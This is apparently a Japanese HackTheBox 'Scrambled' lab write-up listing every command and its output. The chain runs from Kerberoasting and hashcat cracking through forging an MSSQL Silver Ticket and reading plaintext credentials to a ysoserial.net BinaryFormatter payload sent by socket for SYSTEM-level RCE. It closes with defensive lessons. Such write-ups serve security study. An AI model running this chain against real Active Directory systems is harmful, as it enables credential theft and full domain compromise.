HackTheBox: Scrambled — 全実行コマンド・実行結果レポート
Nmap スキャン
AD + MSSQL + 4411独自プロトコル
→
AD + MSSQL + 4411独自プロトコル
Webヒント
ksimpson:ksimpson
→
ksimpson:ksimpson
Kerberoast
sqlsvc:Pegasus60
→
sqlsvc:Pegasus60
Silver Ticket
MSSQLSvc 偽造
→
MSSQLSvc 偽造
ScrambleHR DB
MiscSvc:ScrambledEggs9900
→
MiscSvc:ScrambledEggs9900
BinaryFormatter RCE
Order Service 4411
→
Order Service 4411
SYSTEM
user.txt + root.txt ✓
user.txt + root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンとドメイン情報
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.74.29 nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389 10.129.74.29
RESULT
53/tcp open domain 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Active Directory LDAP (Domain: scrm.local) 445/tcp open microsoft-ds SMB signing required / NTLM 無効 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s Microsoft SQL Server 2019 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 4411/tcp open unknown SCRAMBLECORP_ORDERS_V1.0.3 5985/tcp open wsman 9389/tcp open adws
🚨
ドメインは
scrm.local、DC は DC1.scrm.local。445/SMBでNTLMが無効化されている
ため、以降の全操作は Kerberos 前提で進める必要がある。さらに 4411/tcp に自作のバナー
SCRAMBLECORP_ORDERS_V1.0.3 を返す独自プロトコルサービスが稼働しており、
マシン名「Scrambled」の由来となる最終的な RCE 経路になる。
BASH
echo '10.129.74.29 scrm.local DC1.scrm.local' | sudo tee -a /etc/hosts
Webサイトのヒント
BASH
curl -s http://10.129.74.29/support.html curl -s http://10.129.74.29/passwords.html curl -s http://10.129.74.29/salesorders.html
RESULT
support.html : NTLM authentication disabled (SMB/HTTP 認証に関する社内通知)
passwords.html : password resets default to username (パスワードリセットはユーザー名と同一になる)
salesorders.html : sales order app はデバッグログ出力が有効 (ScrambleDebugLog)
ℹ️
passwords.html の「初期パスワードはユーザー名と同じ」というヒントから、
LDAP列挙等で見つかる一般ユーザー ksimpson について ksimpson:ksimpson
を試す着想が得られる。
PHASE 2
初期認証 (ksimpson:ksimpson)
ksimpson の資格情報確認と TGT 取得
BASH
impacket-getTGT scrm.local/ksimpson:ksimpson -dc-ip 10.129.74.29 KRB5CCNAME=ksimpson.ccache nxc smb DC1.scrm.local -u ksimpson -p ksimpson -k --shares
RESULT
[+] scrm.local\ksimpson:ksimpson (Kerberos TGT 取得成功) Readable shares: IPC$, NETLOGON, Public, SYSVOL
✅
「パスワードリセット=ユーザー名」のパターンが的中。NTLM無効のため以降も
-k -no-pass(Kerberosチケット使用・パスワードレス)で統一する。
PHASE 3
Kerberoast → MSSQL Silver Ticket
Kerberoasting で sqlsvc を取得
BASH
KRB5CCNAME=ksimpson.ccache impacket-GetUserSPNs -k -no-pass \ -dc-ip 10.129.74.29 -dc-host DC1.scrm.local scrm.local/ksimpson -request
RESULT
ServicePrincipalName Name MemberOf
MSSQLSvc/dc1.scrm.local:1433 sqlsvc ...
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$... (TGS-REPハッシュ)
BASH
hashcat -m 13100 sqlsvc.tgs /usr/share/wordlists/rockyou.txt --show
RESULT
$krb5tgs$23$...:Pegasus60
✅
sqlsvc:Pegasus60 を取得。SPN が MSSQLSvc/dc1.scrm.local:1433
であることから、MSSQL サービスアカウントだと分かる。
MSSQLSvc 向け Silver Ticket の偽造
NTLM が無効なため MSSQL へのログインも Kerberos 前提。sqlsvc の NTハッシュと
ドメインSIDさえ分かれば、Golden/Silver Ticket の要領で MSSQLSvc/dc1.scrm.local:1433
に対する任意ユーザー(administrator)へのサービスチケットを自前で偽造できる。
BASH
impacket-getPac -targetUser administrator scrm.local/sqlsvc:Pegasus60 # → Domain SID: S-1-5-21-2743207045-1827831105-2542523200 printf 'Pegasus60' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4 # → NT hash: b999a16500b87d17ec7f2e2a68778f05 impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 \ -domain-sid S-1-5-21-2743207045-1827831105-2542523200 \ -domain scrm.local -spn MSSQLSvc/dc1.scrm.local administrator
RESULT
administrator.ccache が MSSQLSvc/dc1.scrm.local 向けに生成された
ℹ️
Silver Ticket はこの1つの SPN に対してのみ有効(Golden Ticket と違いドメイン全体には効かない)が、
MSSQL への administrator 偽装ログインには十分。
PHASE 4
ScrambleHR DB の資格情報窃取 & .NET バイナリ解析
MSSQL へ Silver Ticket でログインし ScrambleHR を調査
BASH
KRB5CCNAME=administrator.ccache impacket-mssqlclient -k -no-pass dc1.scrm.local \ -dc-ip 10.129.74.29 -windows-auth SQL> SELECT name FROM sys.databases; SQL> USE ScrambleHR; SQL> SELECT LdapUser,LdapPwd,LdapDomain,RefreshInterval,IncludeGroups FROM UserImport;
RESULT
LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
MiscSvc ScrambledEggs9900 scrm.local 90 0
✅
ScrambleHR アプリが LDAP 同期用に使っているサービスアカウントの平文資格情報
MiscSvc:ScrambledEggs9900 をデータベースから直接取得。
IT 共有から Sales Order Client を取得
BASH
impacket-getTGT scrm.local/MiscSvc:ScrambledEggs9900 -dc-ip 10.129.74.29 faketime '+13 minutes 6 seconds' env KRB5CCNAME=MiscSvc.ccache \ impacket-smbclient -k -no-pass -dc-ip 10.129.74.29 -target-ip 10.129.74.29 DC1.scrm.local # use IT # cd Apps # cd "Sales Order Client" # get ScrambleClient.exe # get ScrambleLib.dll
RESULT
ScrambleClient.exe : PE32 .NET (Mono) assembly ScrambleLib.dll : PE32 .NET (Mono) assembly
⚠️
Kerberosクロックスキューの罠: Kali とターゲットの時刻差が約13分あり、
Kerberos チケットの時刻検証(既定5分の許容誤差)に引っかかって認証が失敗する。
faketime '+13 minutes 6 seconds' で Kerberos 関連コマンドだけをラップして回避する
(システム全体の時刻同期は本検証環境ではツール呼び出しの間に巻き戻るため不安定で使えない)。
DLL 逆アセンブルで脆弱な deserialize を発見
BASH
ikdasm ScrambleLib.dll | grep -n "BinaryFormatter\|SerializeToBase64\|DeserializeFromBase64\|UPLOAD_ORDER\|scrmdev"
RESULT
SalesOrder::SerializeToBase64 uses BinaryFormatter.Serialize SalesOrder::DeserializeFromBase64 uses BinaryFormatter.Deserialize ScrambleNetRequest code: UPLOAD_ORDER ScrambleNetClient.Logon: username "scrmdev" triggers client-side developer bypass
🚨
2つの重大な設計欠陥が判明:
(1)
(2) サーバー側の
この2つを組み合わせると、正規クライアントを経由せず TCP ソケットで直接
(1)
scrmdev というユーザー名でログインするとクライアント側だけで
ログイン成功扱いになり、サーバーへ実際の認証リクエストを一切送らない(開発者用バックドア)。(2) サーバー側の
UPLOAD_ORDER 処理は受け取ったデータを
BinaryFormatter.Deserialize に直接渡す — 既知の .NET デシリアライズ RCE 脆弱性。この2つを組み合わせると、正規クライアントを経由せず TCP ソケットで直接
UPLOAD_ORDER;<悪意Base64ペイロード> を送るだけで認証不要の RCEが成立する。
PHASE 5
ysoserial.net ペイロードで Order Service (4411) を RCE
動作確認用ペイロードで RCE を検証
BASH
wine ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
-c "whoami > C:\Shares\Public\ysotest.txt" > ysotest_tcd.b64
python3 - <<'EOF'
import socket
data = open("ysotest_tcd.b64").read().strip()
msg = f"UPLOAD_ORDER;{data}\n".encode()
s = socket.create_connection(("10.129.74.29", 4411), timeout=20)
print(s.recv(4096).decode(errors="ignore")) # banner
s.sendall(msg)
print(s.recv(4096).decode(errors="ignore")) # response
EOF
RESULT
SCRAMBLECORP_ORDERS_V1.0.3; ERROR_GENERAL;Unable to cast SortedSet<String> to ScrambleLib.SalesOrder
BASH (SMB経由で結果確認)
faketime '+13 minutes 6 seconds' env KRB5CCNAME=MiscSvc.ccache \ impacket-smbclient -k -no-pass -dc-ip 10.129.74.29 -target-ip 10.129.74.29 DC1.scrm.local # use Public # get ysotest.txt type ysotest.txt
RESULT
Public\ysotest.txt:
nt authority\system
✅
サーバー側は
ERROR_GENERAL(ガジェットのキャスト失敗)を返すが、
これは deserialize ガジェットの型変換エラーに過ぎず、ペイロード自体(コマンド実行)は
既にその前の段階で発火済み。 Public 共有に書き出された ysotest.txt の中身が
nt authority\system であることから、Order Service は SYSTEM 権限で
動作しておりコマンド実行が成功していることが確認できる。
PHASE 6
user.txt / root.txt の取得
SYSTEM ペイロードで両フラグを Public 共有へコピー
BASH
wine ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \ -c "type C:\Users\MiscSvc\Desktop\user.txt > C:\Shares\Public\user.txt & type C:\Users\Administrator\Desktop\root.txt > C:\Shares\Public\root.txt" \ > flags_tcd.b64 # 4411/TCP へ UPLOAD_ORDER;<flags_tcd.b64の中身> を送信(5-1と同じソケット送信方式)
RESULT
Public share: -rw-rw-rw- 34 user.txt -rw-rw-rw- 34 root.txt
SMB からフラグを回収
BASH
faketime '+13 minutes 6 seconds' env KRB5CCNAME=MiscSvc.ccache \ impacket-smbclient -k -no-pass -dc-ip 10.129.74.29 -target-ip 10.129.74.29 DC1.scrm.local # use Public # get user.txt # get root.txt
RESULT
user.txt : 5eb5317bece75619a25ed232ea687d4e root.txt : c1b67f87c405099cb4855c5076d5299e
user.txt — MiscSvc
5eb5317bece75619a25ed232ea687d4e
root.txt — Administrator (SYSTEM権限のOrder Service経由)
c1b67f87c405099cb4855c5076d5299e
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — MiscSvc
5eb5317bece75619a25ed232ea687d4e
root.txt — Administrator
c1b67f87c405099cb4855c5076d5299e
使用した脆弱性・設計不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 初期パスワード=ユーザー名 | ksimpson アカウント | 初期資格情報の取得 | Medium | passwords.html のヒントから ksimpson:ksimpson が成立 |
| Kerberoasting | MSSQLSvc/dc1.scrm.local:1433 (sqlsvc) | サービスアカウント資格情報窃取 | High | GetUserSPNsでTGS-REPハッシュ取得、hashcat -m 13100でPegasus60にクラック |
| Silver Ticket 偽造 | MSSQLSvc サービス | administrator としてMSSQLへなりすまし | High | sqlsvcのNTハッシュ+ドメインSIDからimpacket-ticketerでサービスチケット偽造 |
| 認証バイパス + BinaryFormatter RCE | ScrambleLib.dll の Order Service (4411/tcp) | 無認証でのSYSTEM権限リモートコード実行 | Critical | “scrmdev”ログインのクライアント側バイパス(サーバーに認証要求が飛ばない)を突き、ysoserial.net製BinaryFormatterペイロードをUPLOAD_ORDERで直接送信 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート + IISページ閲覧 | scrm.local AD、MSSQL、独自プロトコル(4411)検出 |
| 2 | 初期認証 | パスワードリセットのヒントから推測 | ksimpson:ksimpson の Kerberos TGT |
| 3 | 横展開 | Kerberoast + Silver Ticket偽造 | sqlsvc:Pegasus60 → administrator としてMSSQLログイン |
| 4 | 資格情報窃取 | ScrambleHR.UserImport テーブル読取 | MiscSvc:ScrambledEggs9900 |
| 5 | バイナリ解析 | ikdasm(.NET逆アセンブル) | BinaryFormatter RCE + scrmdevバイパスの発見 |
| 6 | RCE/フラグ取得 | ysoserial.net + 生ソケット送信 | user.txt / root.txt(SYSTEM権限で取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| パスワードリセットの既定値がユーザー名と同一 | 初回ログイン時の強制パスワード変更を徹底し、推測可能な既定値を使わない。 |
| サービスアカウントのパスワードが辞書に載る強度で、Kerberoast耐性が無い | サービスアカウントには25文字以上のランダムパスワード、または gMSA を使用する。 |
| アプリケーションDB(ScrambleHR)に他システム連携用の平文資格情報を保存 | 資格情報はVault等のシークレット管理システムで一元管理し、DBへの平文保存を避ける。 |
| カスタムプロトコル(Order Service)に「開発者ログインバイパス」が残存 | 本番コードに開発者用バックドア/バイパスを残さない。リリース前のコードレビューで確実に除去する。 |
.NET の BinaryFormatter で信頼できない入力をデシリアライズ |
BinaryFormatter は Microsoft 公式に非推奨・危険とされており使用しない。System.Text.Json 等の型安全なシリアライザへ移行する。 |

